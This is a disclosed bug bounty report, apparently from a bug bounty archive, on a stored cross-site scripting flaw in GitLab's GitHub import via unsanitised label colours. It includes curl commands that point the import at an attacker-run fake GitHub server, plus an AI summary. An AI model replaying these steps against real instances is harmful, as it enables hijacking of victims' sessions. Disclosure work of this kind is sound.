Stored-XSS with CSP-bypass via labels' color
GitLab's GitHub project import did not sanitise label colours, allowing a stored cross-site scripting payload to be injected via a malicious GitHub server. An attacker could execute arbitrary JavaScript in the context of a victim's GitLab session, bypassing CSP.
- Triaged in 6 days
- Fixed in 2 months
- Paid in 2 months
- Disclosed after 6 months
Gitlab allows to import a project from Github. It imports also the labels whose colors are not sanitized. This leads to Stored-XSS.
Step to reproduce
To reproduce, we need the following prerequisite:
- Github does not allow neither to create arbitrary label colors. You can find in the attachment a dummy Github server
- A VM/machine to host the dummy server above with an public IP though that gitlab.com can access to.
- I created the dummy server using nodejs, so you need to have also nodejs on the machine
- A Gitlab personal access token. Go here to create a new token with within
apiscope.
Step 1: run the dummy server
- Copy the attachment file on your machine and decompress it to any folder, e.g.,
/tmp/dummy-server - Go to
/tmp/dummy-serverthen run this command:node ./index.js YOUR_IP YOUR_PORTin which, you should replaceIPandPORTwith the one you have. For example,sudo node index.js 51.75.74.52 80
Step 2: trigger Gitlab import
-
Open a new terminal, then run the following command in which:
YOUR_IPandYOUR_PORTby the values in the previous stepYOUR_GITLAB_TOKENis the api token you've created in the pre-requirementYOUR_GITLAB_USERNAMEis the target namespace you want to import the project to. It can be your username, or a group name
curl -kv "https://gitlab.com/api/v4/import/github" \
--request POST \
--header "content-type: application/json" \
--header "PRIVATE-TOKEN: YOUR_GITLAB_TOKEN" \
--data '{
"personal_access_token": "ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"repo_id": "523303538",
"target_namespace": "YOUR_GITLAB_USERNAME",
"new_name": "xss-on-label-color",
"github_hostname": "http://YOUR_IP:YOUR_PORT"
}'
For example:
curl -kv "https://gitlab.com/api/v4/import/github" \
--request POST \
--header "content-type: application/json" \
--header "PRIVATE-TOKEN: AAAAAAAAAAAAAYYYYabc" \
--data '{
"personal_access_token": "ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"repo_id": "523303538",
"target_namespace": "yvvdwf",
"new_name": "xss-on-label-color",
"github_hostname": "http://51.75.74.52:80"
}'
After finishing, you can view the list of the labels of the imported project. You should see an popup created by this js alert(document.domain)
An example is available here (private project): https://gitlab.com/yvvdwf/xss-on-label-color/-/labels
Impact
Stored-XSS with CSP-bypass allows attackers to execute arbitrary actions on behalf of victims at the client side.
Impact
Stored-XSS with CSP-bypass allows attackers to execute arbitrary actions on behalf of victims at the client side.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the label colour value from the imported GitHub data was inserted into the page without proper sanitisation, allowing script injection.
Impact
Stored XSS with CSP bypass allows attackers to execute arbitrary actions on behalf of victims at the client side.
What the attacker needed
A GitLab personal access token with api scope; a publicly accessible dummy GitHub server; nodejs on the server machine
How it was found
- Set up a dummy GitHub server that returns a label with a malicious colour.
- Send a request to GitLab's GitHub import API, specifying the dummy server as the source.
- After import, view the labels list of the imported project, which triggers the stored XSS.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you import a project from GitHub, GitLab copies over labels and their colours. The colour value was not checked, so someone could put malicious code there. That code then runs in the browser of anyone who views the labels page, letting the attacker act as the victim.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.